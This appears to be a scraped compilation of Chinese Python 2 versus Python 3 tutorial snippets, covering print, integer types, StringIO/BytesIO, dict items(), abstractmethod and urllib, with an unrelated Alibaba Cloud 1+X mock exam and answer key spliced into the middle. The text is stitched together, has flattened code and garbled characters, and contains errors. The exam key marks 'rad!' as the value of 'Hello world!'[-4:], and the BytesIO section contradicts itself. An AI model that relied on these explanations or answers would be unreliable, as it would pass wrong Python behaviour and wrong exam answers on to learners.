在python3里，只有一种整数类型int,大多数情况下，和python２中的长整型类似。

<>比较运算符Python2支持<>作为!=的同义词，python3只支持!=, 不再支持<>字典类方法HAS_KEY()Python2中，字典对象has_key()方法测试字典是否包含指定的键。

python3不再支持这个方法，需要使用in.返回列表的字典类方法在python2里，许多字典类方法的返回值是列表。

最常用方法有keys, items和values。

python2x与python3x区别

python2x与python3x区别python2.x 与 python3.x 的区别：1. python2.x 的源码编码不规范，源码重复较多；python3.x 的源码编码规范，清晰、优美、简单2. python2.x的默认字符集编码为ASCII,⽽python3.x 默认字符编码为UTF-8;因此表现就是python2默认是不⽀持中⽂字符的，除⾮源⽂件⾸⾏显⽰指定字符编码# -*- coding: utf-8 -*-( # -*- encoding:utf-8 -*-)不能在嵌套函数中将⼀个变量声明为⾮局部变量。

int(整型）：在32位机器上，整数的位数为32位; 在64位机器上，整数的位数为64位；从python2.2起，如果整数发⽣溢出，Python会⾃动将整数转换为长整数，所以不加字母L也不会导致严重结果了。

3. python3.x : print语句没有了，变成了print()函数，⽽python2.6 和 python2.7部分地⽀持print()这种形式的语法不再有long(长整型）了，全都是int4. True 和 False的改变python2.x 中 True 和 False 是两个全局变量，因此可以进⾏赋值python3.x 中 True 和 False 变成了两个关键字，指向了固定的对象，不能再疲重新赋值。

5. nonlocal关键字Python2中要想在嵌套函数中将⼀个变量声明为⾮局部变量简直就是异想天开的事情，然⽽在Python3中这是稀松平常的事情。

Python3中加⼊了nonlocal关键字，可以在嵌套函数中给变量前⾯添加关键字nonlocal，就可以在嵌套函数之外使⽤嵌套函数中的变量。

python2和python3里StringIO和BytesIO的区别

python2和python3⾥StringIO和BytesIO的区别python2⾥StringIO从StringIO模块导⼊，BytesIO从io模块导⼊在python3⾥StringIO，BytesIO都是从io中导⼊Python有两种不同的字符串，⼀种存储⽂本，⼀种存储字节。

对于⽂本，Python内部采⽤Unicode存储，⽽字节字符串显⽰原始字节序列或者ASCII。

Python在内存中读写数据，⽤到的模块是StringIO和BytesIOStringIO操作的只能是str，如果要操作⼆进制数据，就需要使⽤BytesIO。

⽰例：a, b = "这不是unicode", u"这是unicode"c, d = "this is ascii", u"this is not ascii"python2中：ＳtringIO必须是⽂本类型，即unicode类型。

因此StringIO(a)和StringIO(c)，都将抛出异常：TypeError: initial_value must be unicode or None, not strStringIO(b)，StringIO(d)，都正常，因为它们都是unicode编码。

BytesIO必须是字节编码的类型，即utf-8或ascii或其它编码。

BytesIO(a)，BytesIO(c)，都正常，因为它们是utf-8和ascii编码。

BytesIO(c)，BytesIO(d)，都将抛出异常：TypeError: 'unicode' does not have the buffer interfacepython3中：StringIO必须是⽂本类型，在python3中，即str类型。

StringIO(a)，StringIO(b)，StringIO(c)，StringIO(d)，都正常，因为在python3中的str包括python2中的unicode和ascii编码、utf８编码。

Python3 基本数据类型

Python3 基本数据类型Python 中的变量不需要声明。

每个变量在使用前都必须赋值，变量赋值以后该变量才会被创建。

在Python 中，变量就是变量，它没有类型，我们所说的"类型"是变量所指的内存中对象的类型。

等号（=）用来给变量赋值。

等号（=）运算符左边是一个变量名,等号（=）运算符右边是存储在变量中的值。

例如：实例(Python 3.0+)#!/usr/bin/python3counter =100# 整型变量miles =1000.0# 浮点型变量name ="runoob"# 字符串print(counter)print(miles)print(name)运行实例»执行以上程序会输出如下结果：1001000.0runoob以上实例，两个整型对象 1 和 2 的分配给变量 a 和b，字符串对象"runoob" 分配给变量c。

标准数据类型Python3 中有六个标准的数据类型：•Number（数字）•String（字符串）•List（列表）•Tuple（元组）•Set（集合）•Dictionary（字典）Python3 的六个标准数据类型中：•不可变数据（3 个）：Number（数字）、String（字符串）、Tuple（元组）；•可变数据（3 个）：List（列表）、Dictionary（字典）、Set（集合）。

此外还可以用isinstance 来判断：实例>>> a =111>>>isinstance(a,int)True>>>isinstance 和type 的区别在于：•type()不会认为子类是一种父类类型。

•isinstance()会认为子类是一种父类类型。

数值运算实例>>>5 + 4# 加法9>>>4.3 - 2# 减法2.3>>>3 * 7# 乘法21>>>2 / 4# 除法，得到一个浮点数0.5>>>2 // 4# 除法，得到一个整数>>>17 % 3# 取余2>>>2 ** 5# 乘方32注意：•1、Python可以同时为多个变量赋值，如a, b = 1, 2。

Python3字典中items（）和python2.x中iteritems（）有什么区别

此国产分布式函数调度框架从用法调用难度用户所需代码量超高并发性能qps控频精确程度支持的中间件类型任务控制方式稳定程度等19个方面全
Python3字典中 items（）和 python2.x中 iteritems（）有什么区别
在Python2.x中，items( )用于返回一个字典的拷贝列表【Returns a copy of the list of all items (key/value pairs) in D】，占额外的内存。 iteritems() 用于返回本身字典列表操作后的迭代【Returns an iterator on all items(key/value pairs) in D】，不占用额外的内存。
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3.x 里面，iteritems() 和 viewitems() 这两个方法都已经废除了，而 items() 得到的结果是和 2.x 里面 viewitems() 一致的。在3.x 里用 items() 替换iteritems() ，可以用于 for 来循环遍历。
例：
d = { 'Adam': 95, 'Lisa': 85, 'Bart': 59, 'Paul': 74 } sum = 0 for key, value in d.items(): sum = sum + value print(key, ':' ,value) print('平均分为:' ,sum /len(d))

Python2和Python3中@abstractmethod的用法

Python2和Python3中@abstractmethod的⽤法抽象⽅法：抽象⽅法表⽰基类的⼀个⽅法，没有实现，所以基类不能实例化，⼦类实现了该抽象⽅法才能被实例化。

Python的abc提供了@abstractmethod装饰器实现抽象⽅法，下⾯以Python3的abc模块举例。

@abstractmethod：见下图的代码，基类Foo的fun⽅法被@abstractmethod装饰了，所以Foo不能被实例化；⼦类SubA没有实现基类的fun⽅法也不能被实例化；⼦类SubB实现了基类的抽象⽅法fun所以能实例化。

完整代码：在Python3.4中，声明抽象基类最简单的⽅式是⼦类话abc.ABC；Python3.0到Python3.3，必须在class语句中使⽤metaclass=ABCMeta；Python2中使⽤__metaclass__=ABCMetaPython3.4 实现⽅法：from abc import ABC, abstractmethodclass Foo(ABC):@abstractmethoddef fun(self):'''please Implemente in subclass'''class SubFoo(Foo):def fun(self):print('fun in SubFoo')a = SubFoo()a.fun()Python3.0到Python3.3的实现⽅法：from abc import abstractmethod, ABCMetaclass Bar(metaclass=ABCMeta):@abstractmethoddef fun(self):'''please Implemente in subclass'''class SubBar(Bar):def fun(self):print('fun in SubBar')b = SubBar()b.fun()Python2的实现⽅法：from abc import ABCMeta, abstractmethodclass FooBar():__metaclass__ = ABCMeta@abstractmethoddef fun(self):'''please Implemente in subclass''' class SubFooBar(FooBar):def fun(self):print('fun in SubFooBar')a = SubFooBar()a.fun()。

Python2和Python3中urllib库中urlencode的使用注意事项

Python2和Python3中urllib库中urlencode的使⽤注意事项前⾔在Python中，我们通常使⽤urllib中的urlencode⽅法将字典编码，⽤于提交数据给url等操作，但是在Python2和Python3中urllib模块中所提供的urlencode的包位置有些不同。

对于Python2Python2中提供了urllib和urllib2两个模块。

urlencode⽅法所在位置为：urllib.urlencode(values) # 其中values为所需要编码的数据，并且只能为字典例如模拟登陆CSDN⽹站，⽰例程序如下import urllib2values = {"username":"962457839@","password":"XXXX"}data = urllib.urlencode(values)url = "https:///account/login?from=/my/mycsdn"request = urllib2.Request(url,data)response = urllib2.urlopen(request)print response.read()对于Python3Python3中也有urllib和urllib3两个库，其中urllib⼏乎是Python2中urllib和urllib2两个模块的集合，所以我们最常⽤的urllib模块，⽽urllib3则作为⼀个拓展模块使⽤。

urlencode⽅法所在位置urllib.parse.urlencode(values)例如模拟登陆CSDN⽹站，⽰例程序如下:from urllib import requestfrom urllib import parsefrom urllib.request import urlopenvalues = {'username': '962457839@', 'password': 'XXXX'}data = parse.urlencode(values).encode('utf-8') # 提交类型不能为str，需要为byte类型url = 'https:///account/login?from=/my/mycsdn'request = request.Request(url, data)response = urlopen(request)print(response.read().decode())ps：修复在python3中import winrandom错误问题问题:在windows的python3使⽤PyCrypto出现ImportError: No module named 'winrandom'错误处理:修改python3安装⽬录下的 lib/Crypto/Random/OSRNG/nt.py ⽂件中找到import winrandom修改为from Crypto.Random.OSRNG import winrandom总结以上所述是⼩编给⼤家介绍的Python2和Python3中urllib库中urlencode的使⽤注意事项，希望对⼤家有所帮助，如果⼤家有任何疑问请给我留⾔，⼩编会及时回复⼤家的。

阿里云1+X模拟考试题(附答案)

阿里云1+X模拟考试题（附答案）一、单选题（共10题，每题1分，共10分）1、云端服务器无法启动，经查找发现服务器Windows已经蓝屏，以下哪种处理方式是优先推荐的？A、钉钉联系阿里云客服B、在论坛上找相关处理方式C、请提交工单，由阿里云技术支持进一步排查D、重新开通云主机正确答案：C2、Java代码中有关线程的哪些叙述是错误的______？A、一旦一个线程被创建，它就立即开始运行。

B、当一个线程因为抢先机制而停止运行，它被放在可运行队列的前面。

C、一个线程可能因为不同的原因停止并进入就绪状态。

D、使用start()方法可以使一个线程成为可运行的，但是它不一定立即开始运行。

正确答案：A3、关于JAVA线程设计，下列描述正确的是______？A、线程对象必须实现Runnable接口B、启动一个线程直接调用线程对象的run()方法C、Java提供对多线程同步提供语言级的支持D、一个线程可以包含多个进程正确答案：C4、数据库管理系统能实现对数据库中数据的查询、插入、修改和删除等操作的数据库语言是________。

A、DDLB、DCLC、DMLD、ACL正确答案：C5、以下选项中关于阿里云ECS地域和可用区描述正确是______？A、每个地域完全独立。

因为每个可用区可以相互访问，所以同一个地域内的可用区之间使用低时延链路相连。

B、每个地域完全独立。

每个可用区完全隔离，但同一个地域内的可用区之间使用低时延链路相连。

C、每个地域不完全独立。

每个可用区完全隔离，但同一个地域内的可用区之间使用低时延链路相连。

D、每个地域完全独立。

每个可用区完全隔离，但同一个地域内的可用区之间的时延链路ga。

正确答案：B6、git branch命令配合不同的参数可以达到不同的效果，比如可以通过（）参数筛选出，那些分支已经合并到当前分支A、“--merged”B、“--no-merged"C、”-v”D、“-d”正确答案：A7、如果把项目中文件 lg.py 的内容破坏了，以下选项中如何使其还原至原始版本______？A、git reset – lg.pyB、git checkout HEAD – lg.pyC、git update lg.pyD、git revert lg.py正确答案：B8、python表达式‘Hello world!’[-4:] 的值为______？A、’rad!’B、’rld’C、’raa!’D、’rld!’正确答案：A9、python代码已知x = ‘123’ 和y = ‘456’，那么表达式 x + y 的值为__________？A、’23456’B、’12345’C、’1234567’D、’123456’正确答案：D10、以下使用场景属于阿里云CDN的是______？A、don态内容加速B、静态内容加速C、安全加速D、适用于越来越多的网站丰富内容形式，增加动态内容的业务场景正确答案：B二、多选题（共30题，每题1分，共30分）1、安全组是一种虚拟防火墙，具备状态检测和数据包过滤能力，用于在云端划分安全域；以下描述中关于阿里云安全组类型说法正确的是________？A、企业安全组B、高级安全组C、个人安全组D、普通安全组正确答案：AD2、如果要将云主机的数据在本地机房保存一份，以Windows系统的ECS 实例为例，以下那些方法可以使用？A、使用OSS服务进行备份B、Windows远程桌面连接C、第三方网盘程序D、使用FTP服务下载数据到本地正确答案：ABC3、以下描述中关于使用阿里云访问控制RAM时功能和数量上的限制，描述正确是______？A、一个阿里云账号中的RAM用户个数最大值为100B、RAM用户名称的字符数最大值为64C、一个RAM用户可加入的用户组个数最大值为5D、一个RAM用户可创建的访问密钥个数最大值为5E、一个RAM用户可绑定的多因素认证设备个数最大值为10正确答案：BC4、Docker使用前先要进行部署，下面操作属于Docker CE的安装流程的是？A、linux服务器上打开一个新的 ShellB、使用root 用户来使用 DockerC、设置 Docker为系统定时启动D、采用 Shell 中管道（pipe）的方式来执行安装脚本E、添加非 root 用户到本地 Docker Unix 组当中正确答案：ADE5、阿里云弹性容器实例是敏捷安全的Serverless容器运行服务，其核心优势主要体现在：A、免运维B、兼容C、为ECS整体付费D、ECS之间强隔离E、集成F、低成本正确答案：ABEF6、Python中面向对象中很重要的一个概念是类，然而类中分为父类和子类，父类与子类是（）关系，父类中的方法不能满足子类的使用，那么使用（），可以满足子类使用。

Python3.x和Python2.x的区别

Python‎3.x和Pyth‎on2.x的区别1.性能Py3.0运行pyston‎e benchm‎a rk的速度‎比P y2.5慢30%。

Guido认‎为P y3.0有极大的优‎化空间，在字符串和整‎形操作上可以取得很好的‎优化结果。

Py3.1性能比Py‎2.5慢15%，还有很大的提‎升空间。

2.编码Py3.X源码文件默‎认使用utf‎-8编码，这就使得以下‎代码是合法的‎：>>>中国= 'china'>>>print(中国)china3. 语法1）去除了<>，全部改用!=2）去除``，全部改用re‎p r()3）关键词加入a‎s和with，还有True‎,False,None4）整型除法返回‎浮点数，要得到整型结‎果，请使用//5）加入nonl‎o cal语句‎。

使用nocl‎o c al x可以直接指‎派外围（非全局）变量6）去除prin‎t语句，加入prin‎t()函数实现相同‎的功能。

同样的还有exec语句‎，已经改为ex‎e c()函数例如：2.X: print "The answer‎is", 2*23.X: print("The answer‎is", 2*2)2.X: print x, # 使用逗号结尾‎禁止换行3.X: print(x, end=" ") # 使用空格代替‎换行2.X: print # 输出新行3.X: print() # 输出新行2.X: print >>sys.stderr‎, "fatal error"3.X: print("fatal error", file=sys.stderr‎)2.X: print (x, y) # 输出repr‎((x, y))3.X: print((x, y)) # 不同于pri‎n t(x, y)!7）改变了顺序操‎作符的行为，例如x<y，当x和y类型‎不匹配时抛出‎T ypeEr‎r or而不是‎返回随即的bool值8）输入函数改变‎了，删除了raw‎_input‎，用input‎代替：2.X:guess = int(raw_in‎put('Enter an intege‎r : ')) # 读取键盘输入‎的方法3.X:guess = int(input('Enter an intege‎r : '))9）去除元组参数‎解包。